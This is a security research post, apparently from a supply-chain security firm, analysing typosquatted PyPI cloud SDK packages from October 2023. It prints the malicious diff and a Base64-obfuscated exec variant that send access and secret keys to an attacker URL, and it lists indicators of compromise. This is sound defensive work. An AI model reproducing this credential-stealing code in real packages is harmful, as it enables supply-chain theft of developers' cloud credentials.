Cloud Provider Credentials Targeted in New PyPI Malware Campaign
Over the weekend, Phylum’s automated risk detection alerted us to a series of publications surrounding packages on PyPI, all purporting to be some kind of cloud provider SDK or helper package. While these packages do, in fact, provide the purported functionality, they also surreptitiously ship the credentials off to an obfuscated remote URL.
--cta--
⚠️ Update October 11, 2023
We've seen 2 additional packages published in this campaign since yesterday. enumerate-iam-aws
which employed the same tactics mentioned in the original article and another package called alisdkcore
. The latter is interesting because instead of exposing the POST
request in plain text, they've attempted to obfuscate the entire POST
request by calling exec()
on a large Base64-encoded string that's dynamically decoded at runtime. Inside the try/catch block, they now have
exec(base64.b64decode('aW1wb3J0IHJlcXVlc3RzCmltcG9ydCBiYXNlNjQKZGF0YSA9IHsnYWsnOiBrZXksICdzZWNyZXQnOiBzZWNyZXR9CnJlcXVlc3RzLnBvc3QodXJsPWJhc2U2NC5iNjRkZWNvZGUoJ2FIUjBjSE02THk5aGNHa3VZV3hwZVhWdUxYTmtheTF5WlhGMVpYTjBjeTU0ZVhvdllXeHBlWFZ1JykuZGVjb2RlKCd1dGYtOCcpLCBqc29uPWRhdGEp').decode('utf-8'), {"key": self._ak, "secret": self._secret})
which decodes to
import requests
import base64
data = {'ak': key, 'secret': secret}
requests.post(url=base64.b64decode('aHR0cHM6Ly9hcGkuYWxpeXVuLXNkay1yZXF1ZXN0cy54eXovYWxpeXVu').decode('utf-8'), json=data)
and the encoded string in there decodes to the same URL used before:
https://api[.]aliyun-sdk-requests[.]xyz/aliyun
Background
In this campaign, the attacker began by identifying a small set of widely-utilized cloud provider SDKs on account of their intrinsic capability of handling sensitive cloud credentials. Recognizing the inherent trust that developers place in these legitimate packages, the attacker located the file in the legitimate packages responsible for handling these keys. Then the attacker made a very small malicious modification to that part of the code: a carefully crafted and obfuscated POST
request designed to surreptitiously exfiltrate those access and secret keys to an attacker-controlled remote URL. After making this slight modification to each package, the attacker then published them to PyPI under similar sounding names. So far, we’ve identified five packages attempting to exfiltrate secrets in this manner to the same remote URL. In all cases, the remote URL was Base64-encoded in a rudimentary but clear obfuscation attempt. By embedding the malicious code snippet into an existing legitimate codebase, the attacker sought to preserve the original functionality of the package while eluding detection by maintaining the expected utility.
The Malicious Bit
As mentioned above, the intent of this attack is to provide the expected functionality while exfiltrating access and secret cloud credential keys. Therefore, when compared to the legitimate codebase each package is based on, there’s only one small difference in one single file. All packages so far identified follow the same pattern, so as an example, we’ll take the package python-alibabacloud-sdk-core
. In this package, there’s a file called python-alibabacloud-sdk-core-2.14.0/aliyunsdkcore/client.py
and the diff between it and its legitimate counterpart aliyun-python-sdk-core
is as follows:
---
+++
@@ -24,10 +24,12 @@
import logging
import jmespath
import copy
import platform
import sys
+import requests
+import base64
import aliyunsdkcore
from aliyunsdkcore.vendored.six.moves.urllib.parse import urlencode
from aliyunsdkcore.vendored.requests import codes
@@ -514,11 +516,15 @@
)
if request.request_network:
aliyunsdkcore.utils.validation.validate_pattern(
request.request_network, 'network', '^[a-zA-Z0-9_-]+$'
)
-
+ try:
+ data = {"ak": self._ak, "secret": self._secret}
+ requests.post(url=base64.b64decode('aHR0cHM6Ly9hcGkuYWxpeXVuLXNkay1yZXF1ZXN0cy54eXovYWxpeXVu').decode('utf-8'), json=data)
+ except:
+ pass
resolve_request = ResolveEndpointRequest(
self._region_id,
request.get_product(),
request.get_location_service_code(),
request.get_location_endpoint_type(),
Aside from importing the requests
and base64
libraries, the only other difference in the file is the try/except block where the POST
request is attempted. In that function, the URL is dynamically decoded during runtime. The Base64-string aHR0cHM6Ly9hcGkuYWxpeXVuLXNkay1yZXF1ZXN0cy54eXovYWxpeXVu
decodes to https://api[.]aliyun-sdk-requests[.]xyz/aliyun
. Each package published in this attack follows that exact same pattern. And that’s pretty much it! There’s not a whole lot to this. This code is expected to function as is, leaving the developer none the wiser.
Summary
In this campaign, the attacker is exploiting a developer’s trust, taking an existing, well-established codebase and inserting a single bit of malicious code aimed at exfiltrating sensitive cloud credentials. The subtlety lies in the attacker’s strategy of preserving the original functionality of the packages, attempting to fly under the radar, so to speak. The attack is minimalistic and simple, yet effective. For the end user, detection becomes a formidable challenge because the package appears to work exactly as expected
Supplemental Information
Publication Timeline
So far, we have identified the following five PyPI packages as belonging to this campaign. We will be actively monitoring it and will update the table below if new ones are published.
| Package Name | Legit Counterpart | File | Publication Date |
| ------------------------------- | ------------------------ | -------------------- | ------------------- |
| tencent-cloud-python-sdk | tencentcloud-sdk-python | common/credential.py | 2023-10-08 02:12:34 |
| python-alibabacloud-sdk-core | aliyun-python-sdk-core | client.py | 2023-10-08 02:41:50 |
| alibabacloud-oss2 | oss2 | credentials.py | 2023-10-08 04:00:01 |
| python-alibabacloud-tea-openapi | alibabacloud_tea_openapi | models.py | 2023-10-08 19:35:36 |
| aws-enumerate-iam | enumerate-iam | main.py | 2023-10-08 20:06:05 |
IOCs
- Base64-Encoded Strings
aHR0cHM6Ly9hcGkuYWxpeXVuLXNkay1yZXF1ZXN0cy54eXovYWxpeXVu
aHR0cHM6Ly9hcGkuYWxpeXVuLXNkay1yZXF1ZXN0cy54eXovdGVuY2VudA
aHR0cHM6Ly9hcGkuYWxpeXVuLXNkay1yZXF1ZXN0cy54eXovYXdz
- Decoded URLs
https://api[.]aliyun-sdk-requests[.]xyz/tencent
https://api[.]aliyun-sdk-requests[.]xyz/aliyun
https://api[.]aliyun-sdk-requests[.]xyz/aws
Maintainer stats
coinexchanged
- joined 8 Oct 2023
weiwang3056
- joined 9 Oct 2023
hdhaibqbx
- joined 20 Sep 2023
| Package | Maintainer | Package count for maintainer |
| ------------------------------- | ------------- | ---------------------------- |
| tencent-cloud-python-sdk | hdhaibqbx | 1 |
| python-alibabacloud-sdk-core | coinexchanged | 6 |
| alibabacloud-oss2 | coinexchanged | 6 |
| python-alibabacloud-tea-openapi | coinexchanged | 6 |
| aws-enumerate-iam | weiwang3056 | 2 |
| alisdkcore | | 1 |
| enumerate-iam | andresriancho | 1
Whois Information
The whois data is, not surprisingly, heavily redacted, but here’s the creation/modification dates are as follows:
Updated Date: 2023-08-31T17:14:27.0Z
Creation Date: 2023-08-11T03:30:11.0Z
Registry Expiry Date: 2024-08-11T23:59:59.0Z